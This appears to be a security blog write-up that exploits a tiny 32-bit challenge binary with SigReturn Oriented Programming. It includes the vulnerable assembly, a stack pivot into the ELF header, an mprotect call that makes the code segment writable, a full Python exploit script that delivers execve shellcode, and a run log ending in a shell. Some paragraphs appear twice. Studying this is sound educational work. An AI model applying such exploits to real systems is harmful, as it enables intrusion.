This post is regarding another solution for the same problem mentioned in Return to VDSO using ELF Auxiliary Vectors. So the idea here is to exploit a tiny binary remotely using SigReturn Oriented Programming (SROP) without info leak or bruteforce. Below is the challenge code:
We cannot make a execve syscall directly since /bin/sh string is not available in known address. Also, there is no .bss/.data section to read data into it and pivot the stack for chaining a ROP sequence. Stack needs to be pointed to some controlled address.
Make .text segment RWX using mprotect
The idea is to change the permission of text segment by calling mprotect(0x08048000, 0x1000, 7). This makes the .text segment RWX. For delivering this syscall, EIP is pointed to gadget int 0x80 ;add esp, 8; ret. The fake frame for SIGRETURN syscall needs a ESP value, this ESP value will be used when executing 'ret' instruction. But where to point the ESP.
Pivoting stack into ELF header
ELF header has the program entry point. We can point ESP right at the address holding the program entry point.
section .text global _start vuln: sub esp, 8 mov eax, 3 ; sys_read xor ebx, ebx ; stdin mov ecx, esp ; buffer mov edx, 1024 ; size int 0x80 add esp, 8 ret _start: call vuln xor eax, eax inc eax ; sys_exit int 0x80The binary is not a PIE but with ASLR and NX enabled. 12 bytes will overwrite the saved EIP. We will have to make the target binary read 0x77 bytes from the socket so that EAX is set to make sigreturn syscall. Once delivering sigreturn we can load all the registers with user controlled data.
We cannot make a execve syscall directly since /bin/sh string is not available in known address. Also, there is no .bss/.data section to read data into it and pivot the stack for chaining a ROP sequence. Stack needs to be pointed to some controlled address.
Make .text segment RWX using mprotect
The idea is to change the permission of text segment by calling mprotect(0x08048000, 0x1000, 7). This makes the .text segment RWX. For delivering this syscall, EIP is pointed to gadget int 0x80 ;add esp, 8; ret. The fake frame for SIGRETURN syscall needs a ESP value, this ESP value will be used when executing 'ret' instruction. But where to point the ESP.
Pivoting stack into ELF header
ELF header has the program entry point. We can point ESP right at the address holding the program entry point.
gdb-peda$ x/8wx 0x8048000 0x8048000: 0x464c457f 0x00010101 0x00000000 0x00000000 0x8048010: 0x00030002 0x00000001 0x08048077 0x00000034set ESP to 0x8048010 such that add esp, 8; ret takes the value 0x8048077 into EIP, which means we can replay our program but with stack at a fixed address. When the program executes again from entry point, the code segment itself gets overwritten as data is read into text segment during the read syscall ie read(0, .text segment, 1024). Our shellcode executes when the read syscall returns. Below is the solution:
#!/usr/bin/env python import struct import telnetlib from Frame import SigreturnFrame ip = '127.0.0.1' port = 8888 page_text_segment = 0x08048000 INT_80 = 0x08048071 SYS_MPROTECT = 125 con = telnetlib.Telnet(ip, port) frame = SigreturnFrame(arch="x86") frame.set_regvalue("eax", SYS_MPROTECT) frame.set_regvalue("ebx", page_text_segment) frame.set_regvalue("ecx", 0x1000) frame.set_regvalue("edx", 0x7) frame.set_regvalue("ebp", page_text_segment) frame.set_regvalue("eip", INT_80) frame.set_regvalue("esp", page_text_segment+16) # points into ELF header, setting it up as fake frame frame.set_regvalue("cs", 0x73) frame.set_regvalue("ss", 0x7b) payload = "A" * 8 payload += struct.pack("<I", INT_80) # Overwrite Saved EIP payload += frame.get_frame() payload += "A" * (0x77 - len(payload) - 1) # read SIGRETURN number of bytes con.write(payload + chr(0xa)) # shellcode includes NOP + DUP + stack fix + execve('/bin/sh') con.write(open('shellcode').read()) con.interact()
renorobert@ubuntu:~/SROP/sploit$ nc.traditional -vvv -e ./vuln_s -l -p 8888 listening on [any] 8888 ... connect to [127.0.0.1] from localhost [127.0.0.1] 60604 renorobert@ubuntu:~/SROP/sploit$ python sploit.py uname -a Linux ubuntu 3.16.0-30-generic #40~14.04.1-Ubuntu SMP Thu Jan 15 17:45:15 UTC 2015 i686 i686 i686 GNU/LinuxFrame could be found here